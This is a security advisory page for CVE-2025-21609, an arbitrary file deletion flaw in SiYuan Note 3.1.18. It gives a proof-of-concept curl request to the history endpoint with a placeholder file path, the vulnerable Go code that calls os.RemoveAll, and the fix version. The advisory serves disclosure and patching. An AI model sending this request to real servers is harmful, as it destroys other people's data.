CVE-2025-21609: SiYuan has an arbitrary file deletion vulnerability

Published Jan 3, 2025
·
Updated

Summary A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<absfilepathofafile>"}'

Replace <absfilepathofafile> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

go func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) { if !gulu.File.IsExist(historyPath) { logging.LogWarnf("doc history [%s] not exist", historyPath) return }

data, err := filelock.ReadFile(historyPath) if err != nil { logging.LogErrorf("read file [%s] failed: %s", historyPath, err) return } isLargeDoc = 102410241 <= len(data)

luteEngine := NewLute() historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions) if err != nil { logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath) os.RemoveAll(historyPath) return } ... }

PoC curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<absfilepathofafile>"}'

Impact arbitrary file deletion vulnerability

Other sources

SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.

NVD

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<0.0.0-20250103014808-d9887aeec1b2
b3log SiYuan=3.1.18

Event History

Jan 3, 2025
Advisory Published
via GitHub·04:24 PM
CVE Published
via MITRE·04:26 PM
Data Sourced
via MITRE·04:26 PM
DescriptionWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2025-21609?

The severity of CVE-2025-21609 is critical due to its potential for arbitrary file deletion.

2

How do I fix CVE-2025-21609?

To fix CVE-2025-21609, upgrade to a version of Siyuan Note that is later than 0.0.0-20250103014808-d9887aeec1b2.

3

What impact does CVE-2025-21609 have on systems?

CVE-2025-21609 can allow attackers to delete arbitrary files, leading to data loss or system instability.

4

Which versions of Siyuan Note are affected by CVE-2025-21609?

CVE-2025-21609 affects Siyuan Note versions up to but not including 0.0.0-20250103014808-d9887aeec1b2.

5

Is there a known exploit for CVE-2025-21609?

Yes, there are known exploits that target the arbitrary file deletion vulnerability in CVE-2025-21609.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203